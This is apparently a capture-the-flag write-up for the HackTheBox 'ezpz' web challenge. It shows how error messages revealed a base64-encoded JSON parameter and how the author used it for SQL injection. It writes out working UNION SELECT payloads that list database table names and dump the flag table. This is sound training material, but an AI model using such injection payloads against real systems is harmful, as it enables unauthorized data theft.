HackTheBox – ezpz Write Up

Tools:

- Base64 decoder (https://www.base64decode.org/)

Walkthrough:

Step	Description
1	At the website “docker.hackthebox.eu:(port number)”, “index.php” was added to check if there was a response from the website. The website displayed the following response: Notice: Undefined index: obj in /var/www/html/index.php on line 27 Notice: Trying to get property 'ID' of non-object in /var/www/html/index.php on line 29
2	Based on earlier error displayed by the website, the next step taken was modifying the link to “docker.hackthebox.eu:(port number)/index.php?obj=123”. The website displayed the following response Notice: Trying to get property 'ID' of non-object in /var/www/html/index.php on line 29
3	A different error was shown when the link was modified to “docker.hackthebox.eu:(port number)/index.php?obj[]” in order to pass the data through a different method. The website displayed the following response: Warning: base64_decode() expects parameter 1 to be string, array given in /var/www/html/index.php on line 27 Notice: Trying to get property 'ID' of non-object in /var/www/html/index.php on line 29 This shows that it expects the data to be encrypted in base64 and in the form of array.

4	The following string "{"ID":"1"}" was encrypted in Base64 and send as part of the link. Example - docker.hackthebox.eu:(port number)/index.php?obj=(Insert encrypted text here) The website displayed the following response: Good Luck, You've got that this is really gonna be an intersting challenge :)
5	Experimented with different ID yielded different results. The encrypted string "{"ID":"2"}" resulted in the website displaying: Avoid Tools, If you wan't to Enjoy the Challenge :v .. The encrypted string "{"ID":"3"}" resulted in the website displaying: Go and Find the vulnerability .. The other ID numbers resulted in the website displaying nothing and this provided insight into experimenting with SQL injection.
6	The first SQL string to be encrypted in base64 and injected into the website was "{"ID":"'UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b#"}" The website displayed the following response: 2 This shows that SQL injection works and there is something to fetch.
7	The next SQL string to be encrypted was "{"ID":"'UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name FROM mysql.innodb_table_stats)b#"}". The objective was to fetch the table names. The website displayed the following response: DATA FlagTableUnguessableEzPZ

	gtid_slave_pos This shows that the flag is contained in the table “FlagTableUnguessableEzPZ”.
8	The flag contained in the discovered table earlier was fetched through using the command "{"ID":"'UNION SELECT * FROM (SELECT 1)a JOIN (SELECT * FROM FlagTableUnguessableEzPZ)b#"}" encrypted in base64. The website displayed the following response: HTB{Please find the flag yourself ☺}

Flag is HTB{Please find the flag yourself}